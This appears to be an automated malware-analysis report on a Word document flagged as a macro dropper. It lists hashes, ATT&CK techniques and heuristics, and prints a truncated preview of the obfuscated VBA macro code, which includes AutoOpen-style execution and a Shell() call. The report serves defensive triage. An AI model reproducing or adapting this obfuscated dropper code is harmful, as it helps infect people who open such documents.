Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e4a1809bb2bbcca…

MALICIOUS

Office (OLE)

210.5 KB Created: 2018-02-27 21:55:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 2deb07a7ff6a8e2470ad84edea37eebf SHA-1: 52d01e4c7b6a01e0531c662c4da623d2b23c2978 SHA-256: 3e4a1809bb2bbccad60d771f10fb5f217a89a2fd89490b7d716f75fc64226077
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates a Shell() call within the VBA code, which is commonly used to execute arbitrary commands or download additional payloads. The presence of an 'AutoOpen' macro further suggests automatic execution upon opening the document. While the VBA code is heavily obfuscated, its structure and the heuristic firings strongly suggest a dropper or downloader functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6458534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6458534-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62723 bytes
SHA-256: 37d974393a7bcc73530cade9198cc99c8ee415b34202aac423d4326db5a4dbf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 28 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "KJdCdWNLCE"
Sub YrTthBD()
   On Error Resume Next
   Do While zKmSXwSUDFKz Xor kvthoZIp
      Dim UfPhQnHHvHYmj
      Do While YqGELCJ Or sGwnwZ
         tcuzHqH = 6025 - Atn(qhiNv / CByte(7) + DZdBhU + Hex(hUznjOmIicrhv)) + (171376742 / idmbX) * (5938624 * ChrW(520437311) + nPXjoNvp * UmOFVLHwLac)
      Loop
      uHEnfAHY = 6025 - Atn(qZJDDSzRzTSwcN / CByte(7) + ccZqXjbAvwsHS + Hex(IMoRkiNFBStJf)) + (171376742 / HKXStPK) * (5938624 * ChrW(520437311) + bQAPP * OHLKfXqGi)
      Do
         rjcXaHzNAOt = YZNCiElXQVPo * CDate(426718607 * Atn(uGiiIWAjsbKnn - Fix(UTnOAfdilw * CDate(8832))) * plVHOVTnhj / CLng(5390)) / 9 - ChrB(8 - Cos(911)) / 83 + Int(Oisst) / jwDPv - ChrB(872) / QDcHOJNLVm + Chr(778 / Atn(48 * Round(SkiYd / CBool(2)))) / (1199 / CByte(qzFwUE * 8 + VIlYC * CDbl(39)))
      Loop Until tMtJEDmOFdTV <= cjaHOjCsMQ
      jwzYlFYpIitp = bZVrrlWma + bYvBXrzujwEdI
   Loop
   Set NczFi = vjrBfoK
End Sub
Function KvlYWLonCnS()
On Error Resume Next
PijAVTiAVPK = "UmSOvWalFn=%1rav% tes&&RCUGhOBTuiwAw"
IiTmYdPiaY = ECPLzwmWPHilLD = 6025 - Atn(TwaiOiSz / CByte(7) + CWLkz + Hex(nrUIAEUQ)) + (171376742 / hzQTuSQiwl) * (5938624 * ChrW(520437311) + LOPBPm * LJdmB)
hHrzwuv = wUqQDDPzi = 6025 - Atn(zPSzDllsMwpIZc / CByte(7) + sOzJGAuz + Hex(XabzbvWIcRSmz)) + (171376742 / BZXkaDjovOzK) * (5938624 * ChrW(520437311) + PpbwCSbbcJlQ * chfHKjva)
YhiSqOaDvC = iuivbdfghnkjgyugjn(PijAVTiAVPK, 11, 16)
oFESajLG = "rVmQjPsQKddVAvvRclclzJaZFTHvaes&&iHmDjQi=%zXmJcl"
incQHNNqYH = HpjvDSa = 6025 - Atn(CTzGmdCJ / CByte(7) + qzslw + Hex(WFNRHmzzUjCX)) + (171376742 / ORVzwBubOMTznA) * (5938624 * ChrW(520437311) + KswbLDJppAT * FUcZjFGvmUB)
RSSAqbwS = jBJIttUTmPpckb = 6025 - Atn(sEcfwiV / CByte(7) + HlmjrhFvpqBr + Hex(uBwwjz)) + (171376742 / piApIuNqKoFQO) * (5938624 * ChrW(520437311) + CWGJclh * AmjjBwCf)
wBzkFcfcK = iuivbdfghnkjgyugjn(oFESajLG, 6, 14)
wftIBTdqnY = "zwialdjNYv%izvaUoZDlwYi"
dhWjUfTDmVQ = nIRoIdUX = 6025 - Atn(bMShZNtcFHw / CByte(7) + VocJtmVW + Hex(TLiiRwISmQfRA)) + (171376742 / iOVziwJYFJBST) * (5938624 * ChrW(520437311) + iOrzArHAjzHQ * JTqTzVwtvYnm)
wwniVwuA = ivGZjzdTn = 6025 - Atn(ZjQJihiWr / CByte(7) + NAFOqCwU + Hex(jpDMcJMuKSHnSV)) + (171376742 / QniMQMQCvUKhq) * (5938624 * ChrW(520437311) + idCIXEiVTnzWn * DjiuiKwD)
cWvpa = iuivbdfghnkjgyugjn(wftIBTdqnY, 13, 2)
sbQYPZmv = "HnotDOUsiwK%4rav%b"
DlpjjR = bFfRjsYntoDl = 6025 - Atn(qPqjqvkttfO / CByte(7) + SYUAJc + Hex(jrXuhhXrAlQUTD)) + (171376742 / MlhJSAu) * (5938624 * ChrW(520437311) + iZRKNUEmkMGBq * VIzTEkHc)
OaucqliiOR = uDFMiTz = 6025 - Atn(wpzoUQ / CByte(7) + JWvwfHNBX + Hex(QYJzvJlGNWHII)) + (171376742 / TkDJMsfAs) * (5938624 * ChrW(520437311) + JhoJwEjBhT * upKBfMiG)
YLpRzM = iuivbdfghnkjgyugjn(sbQYPZmv, 2, 6)
zOWXWiOOTv = "Ek!!%3rav%!!%8rzmBTWThSafocM"
ziOrVG = juFzIINr = 6025 - Atn(iCMlYTWwY / CByte(7) + vDituaApfGEqjj + Hex(ntFmQppSCsSsO)) + (171376742 / dkCrYlPwBLWH) * (5938624 * ChrW(520437311) + ilTrVfvk * QJIHFlfAb)
bwlcZIM = lDBVCwIubps = 6025 - Atn(PJXHhjAzNTCDU / CByte(7) + jRfdSAjpVOjPR + Hex(NkUvjVtwjwEwA)) + (171376742 / USAwAJOqOz) * (5938624 * ChrW(520437311) + sKanIaRRG * czHXzwkhhYWz)
zpvOSjl = iuivbdfghnkjgyugjn(zOWXWiOOTv, 14, 13)
hXijdnVuIC = "iOTAjWwoMR tes&&re=%3rav% tIlY"
SPwUjTq = ahfkUSi = 6025 - Atn(pLrNfDDYnIor / CByte(7) + AalqNZBRjJ + Hex(hSzZdBXmiquI)) + (171376742 / wQzJPJQ) * (5938624 * ChrW(520437311) + OkZGut * tdUICD)
JkQZaA = NEdulkCJmFR = 6025 - Atn(rzbrBWsjT / CByte(7) + ZSjHQsEVlGM + Hex(DtfUYjDE)) + (171376742 / UpYCJRlSmJTMff) * (5938624 * ChrW(520437311) + LdTJFQT * KYuiLjw)
AihGYtWGna = iuivbdfghnkjgyugjn(hXijdnVuIC, 4, 17)
HjszQ = "TWWflXOzJkJviEzlav% tes&&IRlnDULciN"
HliYFkIc = zLNSjQwLs = 6025 - Atn(iOkwCjq / CByte(7) + lDvVqtwIP + Hex(KthGOjA)) + (171376742 / BmYhBQwdKD) * (5
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.